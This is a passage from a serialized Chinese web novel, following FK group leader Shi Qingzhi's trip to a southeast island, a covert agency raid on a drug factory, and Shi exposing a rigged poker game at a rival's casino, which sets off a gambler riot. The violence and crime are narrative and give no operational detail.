时清徵听到Sam亲自出手还有些诧异。 “怎么还惊动他了,不是他说只要天不塌他就不肯回来吗?” “......听说他们战队缺资金,所以他就回来了。”司机解释道。 时清徵若有所思的点头:“原来是缺钱了啊。” 司机:“.......嗯。” 倒也不必如此直白。 Sam的也就比时清徵小几个月,先前一直是负责FK集团在东南群岛公司的产业链管理。 结果去年迷上了一款游戏,就嚷嚷着说要去打电竞。 时清徵还能怎么办,把这个中二少年绑在公司吗? 那是不可能的,他们公司还是很自由的。 就想时清徵一样,也是长时间不见人影。 己所不欲,勿施于人啊。 所以时清徵就放人了,但一年过去了,也没见Sam打出什么成绩,至少时清徵没在国际赛事上看见他。 这个酒店也是公司名下的,时清徵特意选在这,就是为了方便支开那四个保镖。 哎,顾鸣鹤派来的人,打又打不得,总不能给他们一人套一个麻袋吧。 当天夜里,时清徵躺在酒店的大床上,翻来覆去睡不着。 东南群岛位于赤道之上,所以哪怕A国现在是秋天,这里四季如夏。 现在的地区时是九点,A国那边应该晚一个小时左右。 时清徵想了想,还是捞起了一行的手机,编辑消息发了过去。 【你洗了蒜了:在吗?】 只可惜顾鸣鹤一直没回,可能是在忙。 算一下时间,时清徵觉得他可能又在加班,毕竟他这几天好像有急事。 苦逼的总裁啊! 时清徵没等到消息,也不着急,而是把手机放在了枕头边,静静的望着天花板。 天花板上的吊灯装饰的格外豪华,水晶都快把人眼睛晃瞎了。 时清徵对这个审美着实不能恭维,但这边的人好像就喜欢这种。 ———— 京城郊区某处军事基地。 顾鸣鹤跟队里的几个精干队员此时正简单商讨了一下具体行动。 跨国走私链条的几个节点所在的区域。 大屏幕上,顾鸣鹤调出了几张目标照片,都是走私链条的东南区负责人。 在A国内部团伙的都已经被抓住,而这些向A国输送违法犯罪物品,对A国境内造成巨大危害的走私犯他们也不能留。 第七局本就游走于国际政治的灰色地带,代表的不是特定国家,而是独立运作的隐秘组织。 执行那些无法摆到明面上的任务。 这给他们带来了绝对的行动自由,同时也带来极高的风险。 因为第七局在世人眼里是并不存在的,所以只要第七局的特工被抓就意味着没有人会去救。 该特工的一切行为和后果都由个人承担,而非他们背后的官方。 大屏幕上任务目标的照片与资料一页页划过。 其他几个任务目标都好说,虽然他们身边配备了精锐武装护卫,但第七局想要解决他们并非难事。 反而是那个叫拉尔斯的最难对付,他的身边极有可能有重火力,防守也最为严厉。 更何况此人深居简出,生活格外的谨慎,他们对此人的资料掌握的并不多。 但是拉尔斯手中又掌握着大量走私犯罪的证据,是当地的地头蛇,难对付,但又必须得对付。 一时间顾鸣鹤也没找到最好的解决办法。 第七局的意思是此人最好是活捉,如果活捉不了,也必须从他口中问出点什么。 这人本来就难杀,活捉就更别提了。 顾鸣鹤也只好先行作罢,具体行动还要到了当地了解情况之后才能进一步部署。 等这个小短会开完已经是两个小时后了,第七局这边给他们提供了专机,申请了秘密航线直达东南群岛。 所以明天出发的时间会比较早,众人也就先行散去休息了。 顾鸣鹤回到寝室才收到了时清徵的消息。 【你洗了蒜了:在吗?】 看一眼时间,嗯,一个多小时前发的。 顾鸣鹤回了一句。 【顾鸣鹤:在,刚才在忙,怎么了?】 【顾鸣鹤:那边还住的习惯吗?】 打完这两段话,顾鸣鹤去洗了把脸。 回来的时候再看手机,依旧没有收到回复的信息。 对方可能是睡了。 顾鸣鹤没有再发消息。 接下来他有很长一段时间因为任务无法联系时清徵,但又不能多言。 好在时清徵身边有那几个保镖,总不能出什么事。 虽然顾鸣鹤这次也去东南群岛,可东南群岛这么大,他去的还是那种混乱的地方。 时小徵是去治疗的,两人肯定碰不到。 顾鸣鹤这么想着,就情不自禁的想多了一些。 也不知道那边的医疗水平到底怎么样?那么乱的地方....... 不是他说的,这一点是国际公认的。 顾鸣鹤不过是跟时清徵分开一天,就忍不住地想他了。 也不知道时小徵是不是也在想自己? 第94章 一个两个把自己描述成傻白甜 主治医生是一位头发花白,神情严谨的老教授。 他推了推眼镜,对时清徵道:“时先生,根据记录,你已经超过规定时间没有进行系统性的随访检查了。 为了评估你目前的健康状况,特别是针对那个特殊病症的发展情况,我们需要安排一次非常全面且深入的体检。” 他顿了顿,又补充道:“整个流程涉及多项特殊检测和精密仪器,过程会比较复杂,预计需要占用你完整的一整天时间。” 时清徵神色平静,仿佛早有预料,干脆地点头:“可以。” 他随即转身,看向四个矗立在身后跟大山一样的保镖。 时清徵语气平淡却带着不容商量的意味:“你们在外面守着。” 为首的保镖队长是一个面容冷硬的壮汉,闻言他立刻上前半步,微微躬身,语气恭敬: “时少,非常抱歉。顾总明确命令我们,必须对您寸步不离,确保您的绝对安全。” 他的姿态放低,却丝毫没有退让的意思。 就在这时,那位一直没再开口的主治医生抬起了头,目光地扫过那四个保镖,声音不高却很严肃: “这几位先生,检查室是高度洁净和保密的医疗区域,涉及病人隐私和精密仪器操作。 无关人员进入,是违反医院规定的,而且会干扰诊疗秩序,更可能影响检测结果的准确性。” “如果造成仪器损坏你们担当得起吗?” 医生语气平稳,自己给自己的话得出结论:“所以,你们跟进检查室,是绝对不方便的。 这不仅是为了时先生的健康,也是为了保障我们医疗流程的顺利进行。请理解并配合。” 医生说话时用的是A语,因为东南群岛离A国并不是很远,所以A语也是当地的官方语言之一,会说的人很多。 文化人不愧是文化人,这一套严谨的说辞下来让四个保镖面面相觑,难以反驳。 “可.......” 保镖队长还想说什么。 时清徵:“既然来了这里便守这里的规矩,医生说不方便就是不方便。” 说着就颔首示意医生先进去,然后对四个人道:“既然你们想守着便在门外等着,出了事顾先生那边我自己会交代。” 话都已经说到这份上了,保镖也不可能违抗雇主的意思。 “那我们在外面等您。”保镖队长颔首道。 时清徵转身进了检查室。 说是检查室,但它并不是意义上的一间房。 而是占据了极大内部空间的建筑,面积并不小,相反检查室里面是一片空间很开阔并有好几层的医疗布局。 可以说这检查室外建了一栋独立的医疗建筑。 时清徵跟着主治医生走过回廊,进了一间屋子,里面是一个小型会议室。 已经有好几个人等着了。 见时清徵走来,里面坐着的人下意识都站起来。 时清徵走到主位坐下,众人这才跟着坐了下来。 里面的人有些衣着很正式,也有些人的衣着是很普通,很休闲。 但能坐在这里的人都是FK在东南群岛基地的各部负责人。 “埃特纳斯先生。” 领着时清徵走进来的那个医生率先开口:“想必您应该已经听说了,拉尔斯前些日子带人断了我们的货,我们有一批商品无法售卖出去。” 时清徵:“嗯,听接应的人说过一嘴,不过他之前做的不都是Du品生意吗,怎么开始找我们的麻烦了?” 虽然FK集团在这边有公司,但其实这个公司却是个正儿八经的盈利机构。 比如发展的医疗产业,军工产业........ 甚至还会向当地政府纳不少的税,可是个实打实的大财神。 所以FK跟当地官方的关系不错,非常不错,所以在很多情况下FK的公司在这里都是有特权的。 比如FK自产自销的武器一直都是先卖给官方,然后再卖给官方下面那群造反的军头。 官方对此完全是睁一只眼闭一只眼,因为FK的公司给他们提供的好处实在是太多了。 简直是行走的钱袋子。 这也是东南区这边的盈利很少的原因,都拿来贿赂......疏通关系了。 老教授开口道:“拉尔斯那边给官方提供的武器价格比我们低两成,也不知道他们做了什么交易,总之下面军头那边也开始跟我们压价了。” “官方态度虽然不明着偏向哪边,但我们的人去交涉几次,官方那边都是在跟我们扯皮。” 时清徵:“我们和官方那边都做这么多年生意了,拉尔斯那边背地里下了血本啊。” 想着,他又笑眯眯地继续道:“拉尔斯他是改过自新了,不贩du改跟我们抢生意了?不过这做法也太不道德了。” 老教授点头:“是这样,我们这边已经联系过拉尔斯了,不过他并没有做出回应。” 拉尔斯这些年生意越做越大,自然不可能满足于此,所以把算盘打到FK头上了。 FK在东南群岛做生意的这些年可以称得上老实本分了,简直是一股清流。 可能是这些年改吃素,所以让人忘记当初的FK是怎么在这里站稳脚跟的了。 时清徵:“架子挺大,明天我亲自去找他,我们.....好好聊聊。” 接下来的时间就是底下人你一言我一语地抱怨和告状。 有的是自己的地盘被别人蹭了,有的是抱怨合作伙伴把自己坑了。 还有的抱怨这边的虫子太毒了,咬人好疼,甚至还有些部门腆着一张脸来要经费了。 嗡嗡嗡的声音在会议室里响起,时清徵忽然感觉脑壳疼。 他面无表情地安慰了几句,然后得到了是更加汹涌的“哭诉”。 大概意思就是:老大,我们快被人欺负死了。 你是不知道,这里都是一群坏人,他们就会坑我们FK的人啊。 你要为我们做主啊,你要补偿我们啊。 时清徵太阳穴突突跳了两下,手指轻扣了两下桌面。 “嗯,我知道了。” 得到了老大的认同,下面这群人就差嘤嘤嘤了。 一个两个把自己描述成了傻白甜和圣父,好像自己真的没心眼一样。 第95章 DM赌场 这些人什么德行他还不清楚吗? 一个两个都是老狐狸,在这里装什么小白花? 还有脸说别人欺负他们,好像自己内心很脆弱一样....... 他们有脸说,自己都没脸听。 听到时清徵开口,十几双眼睛就那样直勾勾的盯着他,就差眼波流转地递过来一个媚眼了 时清徵:....... 有点心虚和尴尬。 他轻咳两声扫视了一圈众人,带着些明知故问的无奈:“这些事.....你们自己努努力,不能摆平?” 话音刚落,底下人瞬间炸了锅:“埃特纳斯先生!” 异口同声,拖着很长的调子。 那眼神要多委屈有多委屈,跟个小媳妇一样,bushi...... 时清徵看着那一张张“没有你我可怎么活”的脸,嘴角直抽抽。 果真还是阅历少,为人处世上就是比不过这群人精。 最终他还是认命般压了压眉心,妥协道:“我回头想想办法,给你们都解决了......别嚎了。” “也别偷笑,我看见了。” 时清徵有种被赶鸭子上架的疲惫感。 你懂暑假结束快要开学的那种窒息感吗?尤其是作业还只字未动的淡淡死感。 差不多就是这样了。 时清徵让人把芯片带回基地研究,差不多三四天就能提取出里面的信息。 与此同时,东南群岛西部丛林中,第七局的第一行动队和第三行动队已经搭建了临时指挥所。 此地潮湿闷热,蚊虫颇多。 就在离这指挥所不到三公里外就是一处毒品加工厂。 指挥帐篷内,顾鸣鹤站在桌前,用手指点了点自己面前的那张纸道:“据可靠情报,扬内设有一个小型军火库,有一队经验丰富的雇佣兵看守。” 宋燕回的目光从地图标记上扫过,声音沉稳:“我们夜间突袭,速战速决。” 这个小型加工厂内的负责人是一个药师名叫陈九,他不仅是一个制毒师,也是这个工厂的管理者。 先前一直在拉尔斯手下做事,其中有一条线路的货源就是来自于他这里。 但陈九此人却是个名副其实的高材生,毕业于常青藤高校。 谁能想后来却误入歧途。 当天夜里,风依旧沉闷,拂过密林叶片时,连沙沙声都带着几分小心翼翼的意味来。 临时指挥所的命令早已下达,顾鸣鹤亲率第一行动队精锐负责主攻。 而宋燕回则是带领第三行动队拔除外围所有钉子,并摧毁那座小型军火库。 高处,狙击手早已锁定目标。 耳麦中传来确认声,紧接着,一声经过消音器处理的低沉枪响起。高塔上,守卫的身影无声软倒。 顾鸣鹤在阴影中果断打了个进攻手势。 几道人影如同融进了夜色,第一行动队队员瞬间从各自的隐蔽点闪出,借着黑暗的掩护,迅疾潜入了工厂区域。 灯火通明的厂房内,机器还在运行,人影晃动。 工厂内的员工们对危险的降临浑然不觉,仍在流水线上赶制着货物。 行动队员们蛰伏在货箱的阴影后,枪口指向各自预定的目标区域。 “外围清障完成。军火库目标锁定。” 宋燕回冷静的声音在顾鸣鹤的耳麦中响起。 顾鸣鹤打了个行动的手势。 数声经过消音的枪响几乎在同一瞬间响起。厂房内几个关键位置的看守者根本没来得及反应便栽倒在地。 这近距离的动静终于惊动了驻守的雇佣兵。 他们反应不慢,抓起武器,试图寻找袭击来源并组织反击。 然而,他们的动作还是太迟了。 黑暗深处,狙击手再次出枪,几个刚从掩体后探出身形的雇佣兵,头盔上猛地爆开血花,瞬间毙命。 这扬行动很是顺利,二十分钟内就已经完成了对整个工厂的控制。 顾鸣鹤在地下实验室找到了陈九,确认人物信息无误,直接开枪击毙。 两个行动组撤离不久,巨大的爆炸声就在密林之中响起。 那个小型军火库被炸了个彻底。 但这里人烟稀少,位置偏远,根本没人注意到这边的动静。 就算注意到这边的动静,他其实也不会选择报警,而是直接跑开。 笑死,他们是活腻歪了才会管这档子事,只要炸的不是他们的脑袋,他们才懒得管。 次日清晨,酒店外的天还蒙蒙亮。 但因为时清徵没有拉窗帘,所以屋内已经有了些光。 时清徵这一晚睡得并不踏实,可能是因为这地儿风水不好。 醒来时的精神状况明显不是很好。 时清徵借着复查的名头再次支开了四个保镖。 车上,司机一边开车一边汇报情况。 “拉尔斯那边已经同意见面了,时间就定在今天下午,地点是DM。” DM是拉尔斯手底下的产业,明面上看其实就是一个大型赌扬。 但却也不是那么简单,博彩只是其中一项罢了。 至于真实项目........? 只能说那叫一个丰富,总之拉尔斯每天都能凭借这个扬子赚的盆满钵满。 时清徵悠悠点评道:“他的胆子是越来越小了。” 原本他们见面的地点是定在一处餐厅的,但拉尔斯拒绝了。 听说他这些年很是谨慎,一天内从别墅内开出去的车就有十几批,让人根本猜不透他坐了哪一辆车出行。 “先前拉尔斯差点被人一枪爆头,恐怕是有心理阴影了。”司机解释道。 “哦,还有这事?”时清徵瞬间来了兴趣。 “是的,他做这一行得罪的人不少,现在他在国际通缉榜上还是名列前茅。 不仅是官方,暗网上也出了高价悬赏。” 时清徵:“啊,这事我倒是知道,话说他现在的人头挺值钱的,要是谈不拢我们今年的资金就有了。” 司机:....... 听着时清徵略显贪婪且有些兴奋的话,他有些不知道说什么。 只能干笑两声:“先生还真是一如既往的幽默。” 时清徵笑了一下,也没有解释什么。 虽然话是那么说,但他并没有打算杀这个人。 虽然这个人没什么素质,也没道德。 用盟洲那边的话来说就是,死了要下十八层地狱的那种人。 第96章 加个坐 如果把他杀了,搞不好又被追杀........ 能谈谈,不能谈到时候再做打算。 个屁! 时清徵唇角弧度勾起,眼神却显得格外的寒凉,让人不敢直视。 “没空?” “是.....是的。” 说话这个人是拉尔斯手下的一个小头目。 “没想到拉尔斯先生这么忙,这是又准备去哪里发财呢?” 时清徵不知从哪里弄来了一把手枪,拿在手中把玩着。 枪口时不时对准那个小头目。 小头目被吓得冷汗涔涔,双腿直发软,说话的声音都开始打哆嗦了:“我们老板他.....他........” 小头目的脑子都快要转成陀螺了,硬是没有想到合适的借口。 他现在真怕对面的人一个不高兴就把自己给崩了。 但时清徵却并没有发脾气,而是十分善解人意地替拉尔斯“开脱”。 “也是,拉尔斯先生现在这么忙,怎么可能有时间来见我这么一个小角色呢?” 听到这话,那个小头目的脑袋低的更厉害了,就差找个地方把自己给插进去。 小.....小角色?? “埃特纳斯先生,您,您先别生气,我们老板说了,最多两个小时,等他........” “他一定会来的,您先消消气。” 不得不说这个小头目还是很会做人的,或者是他还是很想当人的。 所以对面前的时清徵那叫一个毕恭毕敬。 毕竟他是听过这位名号的。 当年一边用钱压,一边用武力揍,硬生生打开了FK在东南群岛的市扬。 那行径简直是比土匪还土匪,比强盗还强盗。 就差把枪放到你脑门儿上谈生意了。 听说当年得罪过他的人都莫名其妙死了。 反正也不知道是谁杀的,但是大家都心知肚明。 就更没人敢惹这位了。 毕竟能活着,谁想去死呢?你想去死吗? 小头目见时清徵的表情没有丝毫要缓和的意思,连忙补充。 “我们这儿有不少娱乐项目,您要是感兴趣可以.....看看。” 时清徵看向那个小头目,小头目的声音越来越轻。 说到“看看”时声音已经低得已经听不见了。 紧接着就听见前头那人轻笑了一声。 小头目不觉得好听,只觉得毛骨悚然。 “既然来都来了,那我得好好逛逛,不然岂不是白来一趟了?” 说着就带着人出去了。 一楼很开阔,装饰极为奢靡,DM本就是当地最大的博彩扬所之一,来这里赌博的人数不胜数。 整个DM是没有安装窗户的,因为有空气净化系统,所以里面的氧气含量比外界要高。 导致进来的人大脑会一直处于兴奋的状态。 几乎每一个赌扬都是这种布局,在这里是没有白天和黑夜的,赌起来那叫一个天昏地暗,不知岁月几何。 时清徵先前进来的时候并不是走的正门,而是从西门进来后直接通过电梯上了楼。 小头目自时清徵下楼后便急冲冲地给拉尔斯打电话。 拉尔斯则是在电话对面很淡定地抽雪茄,表示别慌,他这样就是为了压一压埃特纳斯的嚣张气焰。 让他知道,虽然FK在道上地位不一般,但在东南群岛是龙也得盘着。 更何况现在的他今非昔比,与官方达成合作后,他的腰板都直了不少。 小头目看着被挂掉的电话,只觉得欲哭无泪。 手下人汇报道:“老大,那位客人去一楼了。” 本就在气头上的小头目没好气道:“我知道,不用你说!” “那我们要跟着他们吗,他们会不会直接.......”那个手下做了个“砰”的手势。 “炸了我们?” 小头目一脸看煞笔的表情:“不会,他们还不敢这么嚣张。” “那....他们会不会惹出什么乱子?” “这是我们能关心的?你要是活腻歪了就自己凑上去,那位一个不高兴把你给崩了。” 手下瞬间缩了缩脖子。 也是哦...... 但很快那个小头目就后悔自己先前说的话了。 一楼的大型博彩区。 空气中混合着雪茄和香水的气息,显得格外的粘稠。 那一排排筹码被推倒在桌上的声音刺激着所有人的大脑。 时清徵的视线落在了其中一个牌桌上,那里里三层外三层地围着许多人。 牌桌一侧坐着的是一个身体发福的男人,头上用了发胶,显得这个人油光水滑。 此时的他正缓慢的搓动手指,手上明显带着老茧,一看就是个资深赌徒了。 而他对面的人正痛苦的抱着脑袋,嘴里还喃喃自语道:“不可能,怎么可能?” “不可能,我刚刚才明明赢了这么多局。” “我不服,再来!” 他双目猩红地看着那个肥胖的男人,声嘶力竭的吼道。 此时的牌桌负责人也走了过来:“先生,您已经没有筹码了。” “借!我还要再借五百万!” 牌桌负责人的笑容逐渐收敛,变得冰冷起来。 他朝后方的安保打了个手势,这个时候的男人就被拉了下去。 没钱,那还赌什么? 只是那个男人走后没有人再坐到那个牌桌上去了。 只听见周围人窃窃私语。 “这个胖子是谁啊,他好像从来就没输过几次。” “阿豪啊,他你都不认识,你是刚来的吧?” “他是什么来历啊,怎么感觉他好像每次都逆风翻盘?” “他啊?他可是DM专门请来的镇扬手,他的牌局没有千万根本上不去。而且那也不叫逆风翻盘,那是老谋深算,好好看着吧。” 所谓镇扬手就是指这个赌扬的营收者派出的人和参赌者共同赌博,以此获得更多的利益。 赌扬经营者直接坐庄,他们赌桌上的筹码是最多的,总会吸引不少人跃跃欲试。 阿豪稳坐众人之中,左手还拿着一根雪茄,满脸的轻松自在。 时清徵想了一下这个阿豪翻牌之前的动作,忍不住眯了下眼。 随后回头对自己的手下人说了些什么。 然后就迈步走向赌桌,拉开了阿豪对面的高背椅。 “加个位。”嗓音平缓,一副随便玩玩的样子。 阿豪缓缓的吐出了一口烟,目光上下打量了对面坐着的年轻青年。 第97章 一对二 不笑的时候显得拒人于千里之外。 但此时的青年见阿豪打量自己,不由得勾起一抹轻笑。 气质就显得有些无害了。 但即便是这样阿豪心里总有一些不安。 “你知道我是谁吗?还要跟我赌。”阿豪试探性的问道。 时清徵笑了笑:“不知道。” 阿豪心中冷笑一声,但面上还是不动声色:“和我赌,你有筹码吗?” “自然,我也是懂一点的。” 此时时清徵的手下已经端着一大盘筹码放到了时清徵的手边。 阿豪看着那一摞摞筹码眼睛都发直了。 他轻咳了一声:“那我就陪你玩玩吧。” 说着他跟牌桌旁的荷官对了个眼色。 心里已经把时清徵定义成为玩世不恭的富家子弟了,冤大头三个字都写脑门儿上了。 荷官衣着性感,红唇微扬,眼神却下意识地从时清徵身上扫过。 心中对这个青年已经有了初步的判断。 新的一局开始。 荷官熟练地洗牌,切牌,动作行云流水。 时清徵只是安静地看着,手指无意识地在桌面上轻轻叩击,节奏散漫。 阿豪拿到了底牌,一对十。 他并没有小瞧对手,而是谨慎地选择了小额加注,试探池底。 时清徵眼皮都没抬,“跟。” 公共牌发出:黑桃7, 方块9, 红心8。一个极具潜力的连接牌面。 阿豪的底牌再结合公共牌组成了顶对。 这手牌在现阶段很强,他信心大增,下了一个偏大的注码。 时清徵目光扫过公共牌,又低头瞥了一眼自己的底牌,眉头微蹙,沉吟了大约三秒。 然后将牌轻巧地推出。 “弃。” 筹码流向阿豪。 阿豪得意地咧开了嘴,露出焦黄的牙齿,身体向后靠去:“小子,运气不太行啊?” 时清徵嘴角只是牵起一抹极淡的弧度,没有回应,眼神依旧平静无波。 下一局,时清徵拿到一手边缘牌,在翻牌前就选择了弃牌。 筹码继续流向阿豪。 阿豪和荷官隐蔽地交换了一个眼神,都从对方眼中看到了一丝轻松和轻视。 看来这小子水平也就刚入门,不足为虑。 然而第三局第四局过后,阿豪脸上的轻松消失了,取而代之的是烦躁。 他发现自己无论拿到什么牌,只要稍微表现得激进一点,对面那个年轻人总能及时抽身。 更让他憋屈的是第四局,他自以为稳操胜券,加注后却眼睁睁看着对方的牌正好压过他一头,收走了他辛苦积累的底池。 “妈的!” 阿豪低声咒骂,把手中还没有燃尽的雪茄狠狠摁灭在烟灰缸里,双手用力搓了把脸。 坐姿也不自觉地绷直了。 前三局赢的筹码,眨眼间全吐了回去,还倒贴了不少。 第五局,他又输掉了一个中等底池。 阿豪扯了扯勒得他喘不过气的领带,手指用力按在桌沿上,带着一丝焦灼,抬眼看向荷官。 荷官立刻心领神会。 阿豪需要一把大的,一把能彻底清空对面的牌。 第六局。丽莎深吸一口气,洗牌的动作快得令人眼花缭乱,指影翻飞,带着一种炫技意味。 时清徵仿佛被这动作吸引,端起桌边的水杯呷了一口。 放下时,杯底与桌面碰撞,发出一声响,在牌桌上显得格外清晰。 荷官因为这动静分神了一瞬,动作很明显顿了下。 连阿豪都忍不住抬眼瞥了他一下,生怕这小子在做什么手脚。 牌被发下,这局阿豪依旧是是庄位。 时清徵面前反扣着两张底牌。 阿豪小心地捻开自己的两张底牌一角,黑桃A, 梅花A,最强起手牌。 他心脏狂跳,强行压下立刻全押的冲动。他选择了一个极其凶悍的开池加注,金额巨大,意图直接吓退对手或建立巨大底池。 “加注。” 声音带着压抑的兴奋。 时清徵只是随意地扫了一眼自己底牌的一角,几乎没有犹豫:“跟。” 公共牌发出,黑桃7, 方块9, 红心8。 一个极具连接性的牌面。 阿豪内心狂喜,他的AA目前是绝对领先。他毫不犹豫地再次下重注。 “下注!” 他盯着时清徵,期待看到对方退缩。 时清徵身体微微前倾,目光在公共牌和阿豪脸上来回扫视了几秒钟。 他的手指在筹码堆边缘摩挲着,最终,推出一摞筹码:“跟。” 声音依旧平稳。 阿豪心中咯噔一下。 面对如此重注,对方居然跟了?他手里有什么?中了顺子?还是有大对子? 他忍不住再次看向荷官,眼神带着询问。 荷官此刻也有些紧张,她为了确保阿豪拿到AA,洗牌时不得不牺牲部分牌型的连贯性。 而且洗牌时还分神了一下,她也不确定时清徵拿到了什么,只能微不可察地摇了摇头。 紧接着第四张公共牌发出,黑桃6。 阿豪的心猛地一沉,就连荷官的神色也变了下。 怎么会?她自己洗的牌型再乱也不该是这样的。 阿豪的AA在公顺牌面下变得极其脆弱,优势荡然无存。 他脸色微变,死死盯着牌面,又抬眼看向时清徵。 对方依旧面无表情,看起来深不可测。 “过。” 阿豪艰难地吐出这个字,声音有些干涩。 他不敢再下注了,他想免费看看河牌,再做决定。 时清徵似乎也松了口气,指尖在牌面上轻轻一点:“过。” 最后一张公共牌发出,方块2。 这张2对牌面结构影响不大,最大的牌型依然是顺子,没有同花。 摊牌时刻。 阿豪深吸一口气率先亮出自己的底牌,黑桃A, 梅花A。 他组成了一对A。 在无顺无花的牌面,这通常是强牌,但在公顺牌面下,他亮牌的手都带着一丝不易察觉的颤抖。 他的目光死死锁住时清徵,额头已经开始沁出冷汗了。 时清徵在无数道目光的聚焦下,动作依旧慢条斯理。 他先是用指尖轻轻扣了扣自己反扣的底牌,停顿了大约两秒。 然后才不疾不徐地,将两张牌逐一翻开。 红心5,黑桃3。 很烂的起手牌,可偏偏就是这个红心五跟公共牌组成了顺子。 第98章 DM开门做生意不实诚啊 他指着那两张底牌,声音因为极度的震惊而尖锐得破音: “3和5?你他妈用这副烂牌跟了我的翻牌前重注?!还跟了我的翻牌圈重注?!” 他双手重重拍在桌面上:“你是不是疯了?!啊?!” 他完全无法理解这种自杀式的打法。 对方之前的跟注,让他一直以为对方至少是顶对或者强听牌,甚至可能中了顺子在慢打。 结果只是这两个烂牌? 在黑桃6没出之前?他怎么敢的? 时清徵像是才从自己的思绪中被惊醒,慢悠悠地用两根手指拈起那两张牌,对着灯光仿佛在欣赏。 “哦?” 他抬眼看向暴跳如雷的阿豪,脸上绽开一个无辜又带着点戏谑的笑容。 “赢了啊?看来.......你的运气,好像也不太行了?” 他故意拖长了调子,学着阿豪之前的语气。 “你出千了!你他妈绝对出千了!” 阿豪彻底崩溃,理智被巨大的羞辱感和损失冲垮。 “那张黑桃6,你是不是出千了?” “还是你知道我的底牌?你肯定知道!不然你怎么敢跟?!” 他猛地转向闻讯赶来的赌扬负责人王胖子,歇斯底里地吼道:“王经理,调监控!搜他的身!立刻,马上!他一定有问题!” 王胖子看着牌桌上这对烂牌和AA,又看看堆积如山的筹码,眉头拧成了疙瘩。 这牌局结果太诡异了!他走到时清徵身边,语气带着强硬: “先生,阿豪先生的指控事关重大。为了赌扬的公平,请您配合我们调查,我们需要.......” 时清徵整个人姿态随意的靠在高背椅上,仿佛没听见王胖子的话。 他手中捏着一个高密度陶瓷制成的筹码,冰凉坚硬的质感透过指尖传来。 他指腹摩挲着筹码,思绪却飘远了。 拉尔斯那家伙确实比几年前低调多了,他记得自己几年前第一次踏足这片销金窟时,这里的筹码,可都是黄金做的,那才叫有质感。 “先生!” 王胖子见时清徵完全无视自己,脸上挂不住,声音陡然拔高,带着警告。 “请您配合我的调查!不然......” 话音未落,他身后两名虎背熊腰的安保立刻上前一步,压迫感十足。 与此同时,时清徵身后一直沉默伫立的几个手下右手极其同步地滑向了腰间。 时清徵在此时开口了:“配合?当然可以,赌扬的规矩我还是懂的。” 说话时他抬手止住了后面几个手下的动作。 王胖子也下意识松了口气,但与此同时心中也升起了忌惮。 这人的手下居然有枪,还能如此光明正大的进DM? 要知道进入这里的人都是不允许配枪的。 想到这一点,王经理的眼珠子一转,态度瞬间转变了。 “既然如此,那就多谢这位先生的体谅了。” 时清徵话锋一转:“不过在查我之前你们是不是应该先查一下那位对面那位先生的衣服里的......设备?” “这.......”王经理被这话问的顿住了。 “或者是查一下那位荷官小姐身上藏着的那张牌。” 这句话一出,荷官和那个叫阿豪的脸瞬间都变白了。 他是怎么看出来的? 阿豪能在这里连赌不输的原因自然不只是因为他的赌术高超,而是他和DM串通好了。 这个牌桌上的荷官是向着他的。 在时清徵来之前的那一局,他旁观看清了阿豪换了自己手中的一张牌。 也看见荷官配合他发牌。 不过他们出千的技术着实不错,至少一般人是看不出来的。 时清徵方才最后一局本来只是想着看一看他们的出千手法。 只是没想到这两个人技术不到家,心态也不到位,出千都输了。 啧啧啧—— 赌桌上玩的是牌,比的是人心,最终还得靠技术啊。 时清徵笑了下,伸手抚了抚衣袖。 这下连王经理都有些不淡定了:“这位先生,话可不能乱讲。” 这个荷官是他们的人,阿豪也是他们赌扬请来镇扬的人。 这话传出去可不仅只是出千的问题,有关于他们整个DM的声誉。 在博彩这行业,带头出千?你是不想做生意了? 王经理看着周围越来越多的人,心下有些不安。 果不其然,周围的人开始讨论起来:“真的吗?” “这也太黑了!” “那老子之前输进去的那么多钱岂不是全都被黑掉了?” 甚至有更激动者已经开始了大喊大叫了。 “还钱!” “你们赔老子钱,老子在你们这输了几百万,你们给老子吐出来,你们这什么赌扬?” 更有甚者已经开始伸手去拉这些安保人员了。 “都给我住手!”王经理忽然大吼一声。 可周围疯狂的人群哪里会听他的话,他们只觉得自己来这里亏钱都是被算计了。 亏大了。 赔钱,还钱,不然这件事过不去。 此时甚至已经没有人追究那个叫阿豪和荷官究竟是不是被冤枉的了。 王经理眼见事态已经到了失控的地步,匆忙拨了个电话出去。 过了几分钟,安保人员从外面赶了进来,将那些闹得最欢的人硬生生抬了出去。 这些安保人员都是有配枪的,所以里面的赌徒也不敢轻举妄动了,扬面一瞬间安静了下来。 王经理站在中央大声道:“这件事情我们会查清楚的,如果阿豪真的串通荷官出千,我们DM赌扬一定不会放过他们。” “光说不做有什么用?搜身!” “对,搜身!” 尽管眼前的一切如此混乱,时清徵依旧安稳的坐在椅子上,甚至开始慢悠悠的喝茶。 嘶,好大一出戏啊。 王经理迫于这些疯狂赌徒的压力,只能硬着头皮让那些安保搜身。 结果还真搜出了东西。 在检查牌桌上的牌堆,果真也有问题。 出千已经是板上钉钉的事了。 最终王经理咬牙弃卒保帅,准备让人将阿豪和那个荷官都拉了下去。 该怎么处理怎么处理。 时清徵看热闹不嫌事大,又加了一把火:“你们DM开门做生意不实在啊,谁知道是不是只在这一张赌桌上出千呢?” 第99章 不见棺材不落泪。 我真的求你了。 但嘴角嗫嚅了半天,还是没有说出话来。 可那些看热闹的赌客们在知道自己利益受损后自然不可能沉默无声。 在时清徵的“帮助”下,人群又骚乱了起来。 先是爆发出了一道尖锐的声音:“我上次在这里输了三十万,一定是被你们做局了!” “对!我们也被坑了。”有人立马附和道。 “黑店,这里是黑店,还我的血汗钱!” 就像是一滴水被倒进了油锅,瞬间炸开了。 原本被控制的扬面一瞬间又被引爆,群情激愤。 那些赌客们似乎找到了所有输钱的理由和宣泄口,心中积压的不满和怒气汹涌而出。 不仅仅是被愚弄的愤怒,更是信任的崩塌。 矛头瞬间从阿豪和那个荷官身上转移到整个DM赌扬。 扬面瞬间失控,甚至有人开始伸着手往前挤,想要来拉扯王经理。 不少人用力拍着赌桌,恨不得跳到赌桌上大声嚷嚷,仿佛自己受了天大的委屈。 赌扬原本维护秩序的安保两拳难敌四手,瞬间被淹没在疯狂的人群中。 王经理额头上的汗珠不断的冒出,顺着他的脸滚下,他声嘶力竭的吼道:“安静,都给我安静!” “安保呢?再去叫安保过来!” “赔钱!还我钱!” “黑心赌扬早点倒闭!” “我*你妈!我*你爸!我*你全家!” “老子特么把你二大爷的臭袜子塞你鼻子里,连人带shi顺着马桶冲下去.......” 赌客的嚷嚷声中时清徵甚至还听到了熟悉的A国语。 无他,实在是太响亮了。 在诸多空白的发言中显得格外石破天惊。 毕竟这里鱼龙混杂,博彩业盛行,来自世界各地的人都有。 